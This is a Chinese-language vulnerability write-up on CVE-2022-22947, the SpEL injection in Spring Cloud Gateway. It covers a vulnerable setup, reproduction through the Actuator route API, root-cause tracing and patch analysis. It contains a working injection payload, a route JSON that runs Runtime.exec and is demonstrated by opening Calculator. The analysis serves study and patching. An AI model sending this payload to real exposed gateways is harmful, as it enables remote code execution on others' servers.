SpringCloud Gateway 漏洞分析 （CVE-2022-22947）

背景

SpringCloud 是Spring提供的微服務實作框架，其中包含網關、配置中心和注冊中心等內容，網關的第一代實作為zuul，第二代實作為Gateway，提供了更好的性能和特性，

網關可以提供統一的流量控制和訪問控制等功能，一般放在客戶端請求的入口或作為nginx的直接上游如下圖，

Gateway 使用

Gateway配置可以使用兩種方式：

1. yml或者properties 固定配置
2. 通過actuator插件動態添加

作為一個網關最主要的功能就是路由功能，而路由的規則由Route、Predicate、Filter 三部分組成，

• Spring Cloud Gateway < 3.1.1
• Spring Cloud Gateway < 3.0.7

實操

yml固定配置方式

1. 首先在idea中新建spring專案，pom中引入spring-cloud-starter-gateway依賴(一般使用引入starter即可，這里單獨指定含漏洞的自動配置底層包)

        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-gateway</artifactId>
        </dependency>
<!--        有漏洞底層包版本-->
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-gateway-server</artifactId>
            <version>3.1.0</version>
        </dependency>

2. 在application.yml或者application.properties中新建以下配置：

spring:
  application:
    name: GatewatDemo

  cloud:
    gateway:
      routes:
        - id: "router1"
          uri: "http://127.0.0.1:9223/"
          predicates:
            - Path=/
          filters:
            - AddResponseHeader=Result,1

配置含義： 新建了一個id為router1 的路由，規則為當請求的路徑為/時，將請求轉發給http://127.0.0.1:9223 （predicates）并給回應增加一個頭Result值為1（filter），

本地起一個9223服務，觀察能否轉發，啟動專案，轉發成功，這就是一個網關基本的功能，

動態配置

除了通過組態檔寫死的方式，Gateway也支持通過Actuator（spring 監控組件）動態配置路由，

1. pom中新引入spring-boot-starter-actuator

 <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
 </dependency>

2. 組態檔（ Spring Boot 2.x 后為了安全起見默認只開放/actuator/health和/actuator/info端點），開啟gateway監控

management:
  endpoint:
    gateway:
      enabled: true

  endpoints:
    web:
      exposure:
        include: gateway

3. 重啟應用，訪問http://localhost:8080/actuator/gateway/routes,出現下面頁面則表示配置成功，

4. 使用actuator動態創建路由，使用post請求發送以下內容到http://127.0.0.1:8080/actuator/gateway/routes/router2：

{
  "id": "router2",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "2"
    }
  }],
  "uri": "http://127.0.0.1:9224",
   "predicate": "/9224"
}

含義和第一種類似，不過轉發路徑變成了9224.

5. 請求http://127.0.0.1:8080/actuator/gateway/refresh 應用配置
6. 請求頁面,頁面404，這事因為9224的后端服務沒有/9224這個端點所以是404，但有請求記錄，證明轉發成功，

7. 為了使請求正常，所以配置新增一項重寫path

{
  "id": "router2",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "2"
    }
    
  },{
        "name":"RewritePath",
        "args":{
            "_genkey_0":"/9224",
            "_genkey_1":"/"
        }
    }],
  "uri": "http://127.0.0.1:9224",
  "predicate": "/9224"
}

8. 重新訪問，頁面正常

漏洞復現

其實這個漏洞本身是一個SpEL注入，我們嘗試在之前的yml組態檔中使用SpEL運算式，我們將filter中的AddResponseHeader 值改為#{1+1}

spring:
  application:
    name: GatewatDemo

  cloud:
    gateway:
      routes:
        - id: "router1"
          uri: "http://127.0.0.1:9223/"
          predicates:
            - Path=/
          filters:
            - AddResponseHeader=Result,#{1+1}

查看回傳頭，運算式被成功執行：

將運算式替換成惡意的SpEL運算式即可觸發RCE，#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}，

雖然這個地方確實存在SpEL注入，但卻很難利用，因為攻擊者很難控制目標機器的組態檔，所以利用條件就變成了有沒有開啟Actuator，且Actuator開啟了gateway功能沒有配置spring security，

使用動態創建的方法試試，

使用以下payload請求創建路由：

{
  "id": "router2",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}"
    }
    
  },{
        "name":"RewritePath",
        "args":{
            "_genkey_0":"/9224",
            "_genkey_1":"/"
        }
    }],
  "uri": "http://127.0.0.1:9224",
  "predicate": "/9224"
}

重繪路由,發現代碼成功執行，

原理分析

我們打開spring-cloud-gateway的官網，發現SpEL原本是官方提供的一個參考bean的功能，

我們對exec執行下個斷點，觀察程式的呼叫堆疊，

前面一堆是Reactor的邏輯，因為是異步非阻塞的方式，所以閱讀起來有一定門檻，

簡單來說，就是當我們請求/actuator/gateway/routes/refresh時會去呼叫注冊在reactor 中的方法，然后請求org.springframework.cloud.gateway.actuate 包中的refresh()方法

后續會將application的背景關系傳入gateway的邏輯，在處理Filter的邏輯中會對屬性欄位進行normalizeProperties 操作：

具體邏輯會放入normalize中進行處理，其中第一個引數即為我們自己配置的filter處理邏輯

第三個引數為SpEL的parse，

隨后進入ShorcutType中的normalize進行處理，決議key、value進入并將value傳入getValue（）：

在getValue中對字串進行trim操作，同時判斷字串以#{開始并以}結束：

如果滿足條件則進入SpEL進行決議，可以看到這里導致能夠RCE的原因，使用了StandardEvaluationContext 作為context, 隨后對組態檔的value進行標準SpEL決議，

到這里就基本理解了漏洞觸發的原因

補丁分析

在2月17號，開發者提交了在org.springframework.cloud.gateway.support#ShortcutConfigurable使用自定義Context方式替換原來的StanderdContext

自定義的Context增加了Spring的BeanFactory類，從而能實作對Spinrg IOC容器 bean的參考，

修復后新版本運行會報錯：

總結

漏洞影響版本：

• Spring Cloud Gateway < 3.1.1
• Spring Cloud Gateway < 3.0.7

基本上和SpringCloud Functions 一樣是個SpEL注入的漏洞，只不過在網關的場景出現，需要應用暴露actuator，有一定前置條件，

參考

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947

https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/

https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator

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